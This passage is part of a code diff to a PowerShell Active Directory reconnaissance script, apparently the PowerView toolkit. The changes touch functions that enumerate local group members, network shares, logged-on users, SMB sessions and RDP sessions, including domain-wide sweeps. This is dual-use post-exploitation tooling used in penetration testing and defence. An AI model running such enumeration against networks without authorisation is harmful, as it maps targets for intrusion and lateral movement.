'SidTypeGroup') +                            $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup -                        # translate the binary sid to a string -                        $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) +                            $Offset = $NewIntPtr.ToInt64() +                            $Offset += $Increment -                        # if the account is local, check if it's disabled, if it's domain, always print $False -                        #   TODO: fix this occasinal error? -                        $Member | Add-Member Noteproperty 'Disabled' $( if(-not $IsDomain) { try { $_.GetType().InvokeMember('AccountDisabled', 'GetProperty', $Null, $_, $Null) } catch { 'ERROR' } } else { $False } ) +                            $LocalUsers += $LocalUser +                        } +                    } + +                    # free up the result buffer +                    $Null = $Netapi32::NetApiBufferFree($PtrInfo) -                        # check if the member is a group -                        $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') -                        $Member | Add-Member Noteproperty 'IsGroup' $IsGroup -                        $Member | Add-Member Noteproperty 'IsDomain' $IsDomain -                        if($IsGroup) { -                            $Member | Add-Member Noteproperty 'LastLogin' "" +                    # try to extract out the machine SID by using the -500 account as a reference +                    $MachineSid = $LocalUsers | Where-Object {$_.SID -like '*-500'} +                    $Parts = $MachineSid.SID.Split('-') +                    $MachineSid = $Parts[0..($Parts.Length -2)] -join '-' + +                    $LocalUsers | ForEach-Object { +                        if($_.SID -match $MachineSid) { +                            $_ | Add-Member Noteproperty 'IsDomain' $False                          }                          else { -                            try { -                                $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) -                            } -                            catch { -                                $Member | Add-Member Noteproperty 'LastLogin' "" -                            } +                            $_ | Add-Member Noteproperty 'IsDomain' $True                          } -                        $Member +                    } +                    $LocalUsers +                } +                else +                { +                    switch ($Result) { +                        (5)           {Write-Debug 'The user does not have access to the requested information.'} +                        (124)         {Write-Debug 'The value specified for the level parameter is not valid.'} +                        (87)          {Write-Debug 'The specified parameter is not valid.'} +                        (234)         {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} +                        (8)           {Write-Debug 'Insufficient memory is available.'} +                        (2312)        {Write-Debug 'A session does not exist with the computer name.'} +                        (2351)        {Write-Debug 'The computer name is not valid.'} +                        (2221)        {Write-Debug 'Username not found.'} +                        (53)          {Write-Debug 'Hostname could not be found'} +                    } +                } +            } -                        # if the result is a group domain object and we're recursing, -                        # try to resolve all the group member results -                        if($Recurse -and $IsDomain -and $IsGroup) { +            else { +                # otherwise we're using the WinNT service provider +                try { +                    if($ListGroups) { +                        # if we're listing the group names on a remote server +                        $Computer = [ADSI]"WinNT://$Server,computer" + +                        $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { +                            $Group = New-Object PSObject +                            $Group | Add-Member Noteproperty 'Server' $Server +                            $Group | Add-Member Noteproperty 'Group' ($_.name[0]) +                            $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) +                            $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) +                            $Group +                        } +                    } +                    else { +                        # otherwise we're listing the group members +                        $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members')) + +                        $Members | ForEach-Object { + +                            $Member = New-Object PSObject +                            $Member | Add-Member Noteproperty 'ComputerName' $Server + +                            $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') + +                            # try to translate the NT4 domain to a FQDN if possible +                            $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical' + +                            if($Name) { +                                $FQDN = $Name.split("/")[0] +                                $ObjName = $AdsPath.split("/")[-1] +                                $Name = "$FQDN/$ObjName" +                                $IsDomain = $True +                            } +                            else { +                                $Name = $AdsPath +                                $IsDomain = $False +                            } -                            $FQDN = $Name.split("/")[0] -                            $GroupName = $Name.split("/")[1].trim() +                            $Member | Add-Member Noteproperty 'AccountName' $Name -                            Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { +                            if($IsDomain) { +                                # translate the binary sid to a string +                                $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) -                                $Member = New-Object PSObject -                                $Member | Add-Member Noteproperty 'Server' "$FQDN/$($_.GroupName)" +                                $Member | Add-Member Noteproperty 'Description' "" +                                $Member | Add-Member Noteproperty 'Disabled' $False -                                $MemberDN = $_.distinguishedName -                                # extract the FQDN from the Distinguished Name -                                $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' +                                # check if the member is a group +                                $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') +                                $Member | Add-Member Noteproperty 'IsGroup' $IsGroup +                                $Member | Add-Member Noteproperty 'IsDomain' $IsDomain -                                if ($_.samAccountType -ne "805306368") { -                                    $MemberIsGroup = $True +                                if($IsGroup) { +                                    $Member | Add-Member Noteproperty 'LastLogin' $Null                                  }                                  else { -                                    $MemberIsGroup = $False +                                    try { +                                        $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) +                                    } +                                    catch { +                                        $Member | Add-Member Noteproperty 'LastLogin' $Null +                                    }                                  } +                                $Member | Add-Member Noteproperty 'PwdLastSet' "" +                                $Member | Add-Member Noteproperty 'PwdExpired' "" +                                $Member | Add-Member Noteproperty 'UserFlags' "" +                            } +                            else { +                                # repull this user object so we can ensure correct information +                                $LocalUser = $([ADSI] "WinNT://$AdsPath") + +                                # translate the binary sid to a string +                                $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value) + +                                $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0]) + +                                # UAC flags of 0x2 mean the account is disabled +                                $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2) + +                                # check if the member is a group +                                $Member | Add-Member Noteproperty 'IsGroup' ($LocalUser.SchemaClassName -like 'group') +                                $Member | Add-Member Noteproperty 'IsDomain' $IsDomain -                                if ($_.samAccountName) { -                                    # forest users have the samAccountName set -                                    $MemberName = $_.samAccountName +                                if($IsGroup) { +                                    $Member | Add-Member Noteproperty 'LastLogin' ""                                  }                                  else {                                      try { -                                        # external trust users have a SID, so convert it +                                        $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) +                                    } +                                    catch { +                                        $Member | Add-Member Noteproperty 'LastLogin' "" +                                    } +                                } + +                                $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) +                                $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') +                                $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) +                            } +                            $Member + +                            # if the result is a group domain object and we're recursing, +                            #   try to resolve all the group member results +                            if($Recurse -and $IsDomain -and $IsGroup) { + +                                $FQDN = $Name.split("/")[0] +                                $GroupName = $Name.split("/")[1].trim() + +                                Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { + +                                    $Member = New-Object PSObject +                                    $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)" + +                                    $MemberDN = $_.distinguishedName +                                    # extract the FQDN from the Distinguished Name +                                    $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + +                                    $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype + +                                    if ($_.samAccountName) { +                                        # forest users have the samAccountName set +                                        $MemberName = $_.samAccountName +                                    } +                                    else {                                          try { -                                            $MemberName = Convert-SidToName $_.cn +                                            # external trust users have a SID, so convert it +                                            try { +                                                $MemberName = Convert-SidToName $_.cn +                                            } +                                            catch { +                                                # if there's a problem contacting the domain to resolve the SID +                                                $MemberName = $_.cn +                                            }                                          }                                          catch { -                                            # if there's a problem contacting the domain to resolve the SID -                                            $MemberName = $_.cn +                                            Write-Debug "Error resolving SID : $_"                                          }                                      } -                                    catch { -                                        Write-Debug "Error resolving SID : $_" -                                    } -                                } -                                $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" -                                $Member | Add-Member Noteproperty 'SID' $_.objectsid -                                $Member | Add-Member Noteproperty 'Disabled' $False -                                $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup -                                $Member | Add-Member Noteproperty 'IsDomain' $True -                                $Member | Add-Member Noteproperty 'LastLogin' '' -                                $Member +                                    $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" +                                    $Member | Add-Member Noteproperty 'SID' $_.objectsid +                                    $Member | Add-Member Noteproperty 'Description' $_.description +                                    $Member | Add-Member Noteproperty 'Disabled' $False +                                    $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup +                                    $Member | Add-Member Noteproperty 'IsDomain' $True +                                    $Member | Add-Member Noteproperty 'LastLogin' '' +                                    $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet +                                    $Member | Add-Member Noteproperty 'PwdExpired' '' +                                    $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl +                                    $Member +                                }                              }                          }                      }                  } -            } -            catch { -                Write-Warning "[!] Error: $_" +                catch { +                    Write-Warning "[!] Error: $_" +                }              }          }      }  } -function Get-NetShare { +filter Get-NetShare {  <#      .SYNOPSIS @@ -6403,7 +7332,8 @@ function Get-NetShare {      .OUTPUTS          SHARE_INFO_1 structure. A representation of the SHARE_INFO_1 -        result structure which includes the name and note for each share. +        result structure which includes the name and note for each share, +        with the ComputerName added.      .EXAMPLE @@ -6416,82 +7346,87 @@ function Get-NetShare {          PS C:\> Get-NetShare -ComputerName sqlserver          Returns active shares on the 'sqlserver' host + +    .EXAMPLE + +        PS C:\> Get-NetComputer | Get-NetShare + +        Returns all shares for all computers in the domain. + +    .LINK + +        http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/  #>      [CmdletBinding()]      param(          [Parameter(ValueFromPipeline=$True)]          [Alias('HostName')] -        [String] +        [Object[]] +        [ValidateNotNullOrEmpty()]          $ComputerName = 'localhost'      ) -    begin { -        if ($PSBoundParameters['Debug']) { -            $DebugPreference = 'Continue' -        } -    } +    # extract the computer name from whatever object was passed on the pipeline +    $Computer = $ComputerName | Get-NameField -    process { - -        # process multiple host object types from the pipeline -        $ComputerName = Get-NameField -Object $ComputerName - -        # arguments for NetShareEnum -        $QueryLevel = 1 -        $PtrInfo = [IntPtr]::Zero -        $EntriesRead = 0 -        $TotalRead = 0 -        $ResumeHandle = 0 +    # arguments for NetShareEnum +    $QueryLevel = 1 +    $PtrInfo = [IntPtr]::Zero +    $EntriesRead = 0 +    $TotalRead = 0 +    $ResumeHandle = 0 -        # get the share information -        $Result = $Netapi32::NetShareEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) +    # get the share information +    $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) -        # Locate the offset of the initial intPtr -        $Offset = $PtrInfo.ToInt64() +    # Locate the offset of the initial intPtr +    $Offset = $PtrInfo.ToInt64() -        Write-Debug "Get-NetShare result: $Result" +    Write-Debug "Get-NetShare result for $Computer : $Result" -        # 0 = success -        if (($Result -eq 0) -and ($Offset -gt 0)) { +    # 0 = success +    if (($Result -eq 0) -and ($Offset -gt 0)) { -            # Work out how mutch to increment the pointer by finding out the size of the structure -            $Increment = $SHARE_INFO_1::GetSize() +        # Work out how mutch to increment the pointer by finding out the size of the structure +        $Increment = $SHARE_INFO_1::GetSize() -            # parse all the result structures -            for ($i = 0; ($i -lt $EntriesRead); $i++) { -                # create a new int ptr at the given offset and cast -                #   the pointer as our result structure -                $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset -                $Info = $NewIntPtr -as $SHARE_INFO_1 -                # return all the sections of the structure -                $Info | Select-Object * -                $Offset = $NewIntPtr.ToInt64() -                $Offset += $Increment -            } +        # parse all the result structures +        for ($i = 0; ($i -lt $EntriesRead); $i++) { +            # create a new int ptr at the given offset and cast +            #   the pointer as our result structure +            $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset +            $Info = $NewIntPtr -as $SHARE_INFO_1 -            # free up the result buffer -            $Null = $Netapi32::NetApiBufferFree($PtrInfo) +            # return all the sections of the structure +            $Shares = $Info | Select-Object * +            $Shares | Add-Member Noteproperty 'ComputerName' $Computer +            $Offset = $NewIntPtr.ToInt64() +            $Offset += $Increment +            $Shares          } -        else -        { -            switch ($Result) { -                (5)           {Write-Debug 'The user does not have access to the requested information.'} -                (124)         {Write-Debug 'The value specified for the level parameter is not valid.'} -                (87)          {Write-Debug 'The specified parameter is not valid.'} -                (234)         {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} -                (8)           {Write-Debug 'Insufficient memory is available.'} -                (2312)        {Write-Debug 'A session does not exist with the computer name.'} -                (2351)        {Write-Debug 'The computer name is not valid.'} -                (2221)        {Write-Debug 'Username not found.'} -                (53)          {Write-Debug 'Hostname could not be found'} -            } + +        # free up the result buffer +        $Null = $Netapi32::NetApiBufferFree($PtrInfo) +    } +    else +    { +        switch ($Result) { +            (5)           {Write-Debug 'The user does not have access to the requested information.'} +            (124)         {Write-Debug 'The value specified for the level parameter is not valid.'} +            (87)          {Write-Debug 'The specified parameter is not valid.'} +            (234)         {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} +            (8)           {Write-Debug 'Insufficient memory is available.'} +            (2312)        {Write-Debug 'A session does not exist with the computer name.'} +            (2351)        {Write-Debug 'The computer name is not valid.'} +            (2221)        {Write-Debug 'Username not found.'} +            (53)          {Write-Debug 'Hostname could not be found'}          }      }  } -function Get-NetLoggedon { +filter Get-NetLoggedon {  <#      .SYNOPSIS @@ -6505,7 +7440,8 @@ function Get-NetLoggedon {      .OUTPUTS          WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1 -        result structure which includes the username and domain of logged on users. +        result structure which includes the username and domain of logged on users, +        with the ComputerName added.      .EXAMPLE @@ -6519,6 +7455,12 @@ function Get-NetLoggedon {          Returns users actively logged onto the 'sqlserver' host. +    .EXAMPLE + +        PS C:\> Get-NetComputer | Get-NetLoggedon + +        Returns all logged on userse for all computers in the domain. +      .LINK          http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ @@ -6528,78 +7470,71 @@ function Get-NetLoggedon {      param(          [Parameter(ValueFromPipeline=$True)]          [Alias('HostName')] -        [String] +        [Object[]] +        [ValidateNotNullOrEmpty()]          $ComputerName = 'localhost'      ) -    begin { -        if ($PSBoundParameters['Debug']) { -            $DebugPreference = 'Continue' -        } -    } - -    process { - -        # process multiple host object types from the pipeline -        $ComputerName = Get-NameField -Object $ComputerName +    # extract the computer name from whatever object was passed on the pipeline +    $Computer = $ComputerName | Get-NameField -        # Declare the reference variables -        $QueryLevel = 1 -        $PtrInfo = [IntPtr]::Zero -        $EntriesRead = 0 -        $TotalRead = 0 -        $ResumeHandle = 0 +    # Declare the reference variables +    $QueryLevel = 1 +    $PtrInfo = [IntPtr]::Zero +    $EntriesRead = 0 +    $TotalRead = 0 +    $ResumeHandle = 0 -        # get logged on user information -        $Result = $Netapi32::NetWkstaUserEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) +    # get logged on user information +    $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) -        # Locate the offset of the initial intPtr -        $Offset = $PtrInfo.ToInt64() +    # Locate the offset of the initial intPtr +    $Offset = $PtrInfo.ToInt64() -        Write-Debug "Get-NetLoggedon result: $Result" +    Write-Debug "Get-NetLoggedon result for $Computer : $Result" -        # 0 = success -        if (($Result -eq 0) -and ($Offset -gt 0)) { +    # 0 = success +    if (($Result -eq 0) -and ($Offset -gt 0)) { -            # Work out how mutch to increment the pointer by finding out the size of the structure -            $Increment = $WKSTA_USER_INFO_1::GetSize() +        # Work out how mutch to increment the pointer by finding out the size of the structure +        $Increment = $WKSTA_USER_INFO_1::GetSize() -            # parse all the result structures -            for ($i = 0; ($i -lt $EntriesRead); $i++) { -                # create a new int ptr at the given offset and cast -                #   the pointer as our result structure -                $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset -                $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 +        # parse all the result structures +        for ($i = 0; ($i -lt $EntriesRead); $i++) { +            # create a new int ptr at the given offset and cast +            #   the pointer as our result structure +            $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset +            $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 -                # return all the sections of the structure -                $Info | Select-Object * -                $Offset = $NewIntPtr.ToInt64() -                $Offset += $Increment - -            } - -            # free up the result buffer -            $Null = $Netapi32::NetApiBufferFree($PtrInfo) +            # return all the sections of the structure +            $LoggedOn = $Info | Select-Object * +            $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer +            $Offset = $NewIntPtr.ToInt64() +            $Offset += $Increment +            $LoggedOn          } -        else -        { -            switch ($Result) { -                (5)           {Write-Debug 'The user does not have access to the requested information.'} -                (124)         {Write-Debug 'The value specified for the level parameter is not valid.'} -                (87)          {Write-Debug 'The specified parameter is not valid.'} -                (234)         {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} -                (8)           {Write-Debug 'Insufficient memory is available.'} -                (2312)        {Write-Debug 'A session does not exist with the computer name.'} -                (2351)        {Write-Debug 'The computer name is not valid.'} -                (2221)        {Write-Debug 'Username not found.'} -                (53)          {Write-Debug 'Hostname could not be found'} -            } + +        # free up the result buffer +        $Null = $Netapi32::NetApiBufferFree($PtrInfo) +    } +    else +    { +        switch ($Result) { +            (5)           {Write-Debug 'The user does not have access to the requested information.'} +            (124)         {Write-Debug 'The value specified for the level parameter is not valid.'} +            (87)          {Write-Debug 'The specified parameter is not valid.'} +            (234)         {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} +            (8)           {Write-Debug 'Insufficient memory is available.'} +            (2312)        {Write-Debug 'A session does not exist with the computer name.'} +            (2351)        {Write-Debug 'The computer name is not valid.'} +            (2221)        {Write-Debug 'Username not found.'} +            (53)          {Write-Debug 'Hostname could not be found'}          }      }  } -function Get-NetSession { +filter Get-NetSession {  <#      .SYNOPSIS @@ -6619,7 +7554,7 @@ function Get-NetSession {          SESSION_INFO_10 structure. A representation of the SESSION_INFO_10          result structure which includes the host and username associated -        with active sessions. +        with active sessions, with the ComputerName added.      .EXAMPLE @@ -6633,6 +7568,12 @@ function Get-NetSession {          Returns active sessions on the 'sqlserver' host. +    .EXAMPLE + +        PS C:\> Get-NetDomainController | Get-NetSession + +        Returns active sessions on all domain controllers. +      .LINK          http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ @@ -6642,80 +7583,73 @@ function Get-NetSession {      param(          [Parameter(ValueFromPipeline=$True)]          [Alias('HostName')] -        [String] +        [Object[]] +        [ValidateNotNullOrEmpty()]          $ComputerName = 'localhost',          [String]          $UserName = ''      ) -    begin { -        if ($PSBoundParameters['Debug']) { -            $DebugPreference = 'Continue' -        } -    } - -    process { - -        # process multiple host object types from the pipeline -        $ComputerName = Get-NameField -Object $ComputerName - -        # arguments for NetSessionEnum -        $QueryLevel = 10 -        $PtrInfo = [IntPtr]::Zero -        $EntriesRead = 0 -        $TotalRead = 0 -        $ResumeHandle = 0 +    # extract the computer name from whatever object was passed on the pipeline +    $Computer = $ComputerName | Get-NameField -        # get session information -        $Result = $Netapi32::NetSessionEnum($ComputerName, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) +    # arguments for NetSessionEnum +    $QueryLevel = 10 +    $PtrInfo = [IntPtr]::Zero +    $EntriesRead = 0 +    $TotalRead = 0 +    $ResumeHandle = 0 -        # Locate the offset of the initial intPtr -        $Offset = $PtrInfo.ToInt64() +    # get session information +    $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) -        Write-Debug "Get-NetSession result: $Result" +    # Locate the offset of the initial intPtr +    $Offset = $PtrInfo.ToInt64() -        # 0 = success -        if (($Result -eq 0) -and ($Offset -gt 0)) { +    Write-Debug "Get-NetSession result for $Computer : $Result" -            # Work out how mutch to increment the pointer by finding out the size of the structure -            $Increment = $SESSION_INFO_10::GetSize() +    # 0 = success +    if (($Result -eq 0) -and ($Offset -gt 0)) { -            # parse all the result structures -            for ($i = 0; ($i -lt $EntriesRead); $i++) { -                # create a new int ptr at the given offset and cast -                # the pointer as our result structure -                $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset -                $Info = $NewIntPtr -as $SESSION_INFO_10 +        # Work out how mutch to increment the pointer by finding out the size of the structure +        $Increment = $SESSION_INFO_10::GetSize() -                # return all the sections of the structure -                $Info | Select-Object * -                $Offset = $NewIntPtr.ToInt64() -                $Offset += $Increment +        # parse all the result structures +        for ($i = 0; ($i -lt $EntriesRead); $i++) { +            # create a new int ptr at the given offset and cast +            # the pointer as our result structure +            $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset +            $Info = $NewIntPtr -as $SESSION_INFO_10 -            } -            # free up the result buffer -            $Null = $Netapi32::NetApiBufferFree($PtrInfo) +            # return all the sections of the structure +            $Sessions = $Info | Select-Object * +            $Sessions | Add-Member Noteproperty 'ComputerName' $Computer +            $Offset = $NewIntPtr.ToInt64() +            $Offset += $Increment +            $Sessions          } -        else -        { -            switch ($Result) { -                (5)           {Write-Debug 'The user does not have access to the requested information.'} -                (124)         {Write-Debug 'The value specified for the level parameter is not valid.'} -                (87)          {Write-Debug 'The specified parameter is not valid.'} -                (234)         {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} -                (8)           {Write-Debug 'Insufficient memory is available.'} -                (2312)        {Write-Debug 'A session does not exist with the computer name.'} -                (2351)        {Write-Debug 'The computer name is not valid.'} -                (2221)        {Write-Debug 'Username not found.'} -                (53)          {Write-Debug 'Hostname could not be found'} -            } +        # free up the result buffer +        $Null = $Netapi32::NetApiBufferFree($PtrInfo) +    } +    else +    { +        switch ($Result) { +            (5)           {Write-Debug 'The user does not have access to the requested information.'} +            (124)         {Write-Debug 'The value specified for the level parameter is not valid.'} +            (87)          {Write-Debug 'The specified parameter is not valid.'} +            (234)         {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} +            (8)           {Write-Debug 'Insufficient memory is available.'} +            (2312)        {Write-Debug 'A session does not exist with the computer name.'} +            (2351)        {Write-Debug 'The computer name is not valid.'} +            (2221)        {Write-Debug 'Username not found.'} +            (53)          {Write-Debug 'Hostname could not be found'}          }      }  } -function Get-NetRDPSession { +filter Get-NetRDPSession {  <#      .SYNOPSIS @@ -6742,132 +7676,130 @@ function Get-NetRDPSession {          PS C:\> Get-NetRDPSession -ComputerName "sqlserver"          Returns active RDP/terminal sessions on the 'sqlserver' host. + +    .EXAMPLE + +        PS C:\> Get-NetDomainController | Get-NetRDPSession + +        Returns active RDP/terminal sessions on all domain controllers.  #>      [CmdletBinding()]      param(          [Parameter(ValueFromPipeline=$True)]          [Alias('HostName')] -        [String] +        [Object[]] +        [ValidateNotNullOrEmpty()]          $ComputerName = 'localhost'      ) -     -    begin { -        if ($PSBoundParameters['Debug']) { -            $DebugPreference = 'Continue' -        } -    } - -    process { -        # process multiple host object types from the pipeline -        $ComputerName = Get-NameField -Object $ComputerName +    # extract the computer name from whatever object was passed on the pipeline +    $Computer = $ComputerName | Get-NameField -        # open up a handle to the Remote Desktop Session host -        $Handle = $Wtsapi32::WTSOpenServerEx($ComputerName) +    # open up a handle to the Remote Desktop Session host +    $Handle = $Wtsapi32::WTSOpenServerEx($Computer) -        # if we get a non-zero handle back, everything was successful -        if ($Handle -ne 0) { +    # if we get a non-zero handle back, everything was successful +    if ($Handle -ne 0) { -            Write-Debug "WTSOpenServerEx handle: $Handle" +        Write-Debug "WTSOpenServerEx handle: $Handle" -            # arguments for WTSEnumerateSessionsEx -            $ppSessionInfo = [IntPtr]::Zero -            $pCount = 0 -             -            # get information on all current sessions -            $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount) +        # arguments for WTSEnumerateSessionsEx +        $ppSessionInfo = [IntPtr]::Zero +        $pCount = 0 +         +        # get information on all current sessions +        $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount) -            # Locate the offset of the initial intPtr -            $Offset = $ppSessionInfo.ToInt64() +        # Locate the offset of the initial intPtr +        $Offset = $ppSessionInfo.ToInt64() -            Write-Debug "WTSEnumerateSessionsEx result: $Result" -            Write-Debug "pCount: $pCount" +        Write-Debug "WTSEnumerateSessionsEx result: $Result" +        Write-Debug "pCount: $pCount" -            if (($Result -ne 0) -and ($Offset -gt 0)) { +        if (($Result -ne 0) -and ($Offset -gt 0)) { -                # Work out how mutch to increment the pointer by finding out the size of the structure -                $Increment = $WTS_SESSION_INFO_1::GetSize() +            # Work out how mutch to increment the pointer by finding out the size of the structure +            $Increment = $WTS_SESSION_INFO_1::GetSize() -                # parse all the result structures -                for ($i = 0; ($i -lt $pCount); $i++) { -      -                    # create a new int ptr at the given offset and cast -                    #   the pointer as our result structure -                    $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset -                    $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 +            # parse all the result structures +            for ($i = 0; ($i -lt $pCount); $i++) { +  +                # create a new int ptr at the given offset and cast +                #   the pointer as our result structure +                $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset +                $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 -                    $RDPSession = New-Object PSObject +                $RDPSession = New-Object PSObject -                    if ($Info.pHostName) { -                        $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName -                    } -                    else { -                        # if no hostname returned, use the specified hostname -                        $RDPSession | Add-Member Noteproperty 'ComputerName' $ComputerName -                    } +                if ($Info.pHostName) { +                    $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName +                } +                else { +                    # if no hostname returned, use the specified hostname +                    $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer +                } -                    $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName +                $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName -                    if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { -                        # if a domain isn't returned just use the username -                        $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" -                    } -                    else { -                        $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" -                    } +                if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { +                    # if a domain isn't returned just use the username +                    $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" +                } +                else { +                    $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" +                } -                    $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID -                    $RDPSession | Add-Member Noteproperty 'State' $Info.State +                $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID +                $RDPSession | Add-Member Noteproperty 'State' $Info.State -                    $ppBuffer = [IntPtr]::Zero -                    $pBytesReturned = 0 +                $ppBuffer = [IntPtr]::Zero +                $pBytesReturned = 0 -                    # query for the source client IP with WTSQuerySessionInformation -                    #   https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx -                    $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned) +                # query for the source client IP with WTSQuerySessionInformation +                #   https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx +                $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned) -                    $Offset2 = $ppBuffer.ToInt64() -                    $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 -                    $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS +                $Offset2 = $ppBuffer.ToInt64() +                $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 +                $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS -                    $SourceIP = $Info2.Address        -                    if($SourceIP[2] -ne 0) { -                        $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] -                    } -                    else { -                        $SourceIP = $Null -                    } +                $SourceIP = $Info2.Address        +                if($SourceIP[2] -ne 0) { +                    $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] +                } +                else { +                    $SourceIP = $Null +                } -                    $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP -                    $RDPSession +                $RDPSession | Add-Member Noteproperty 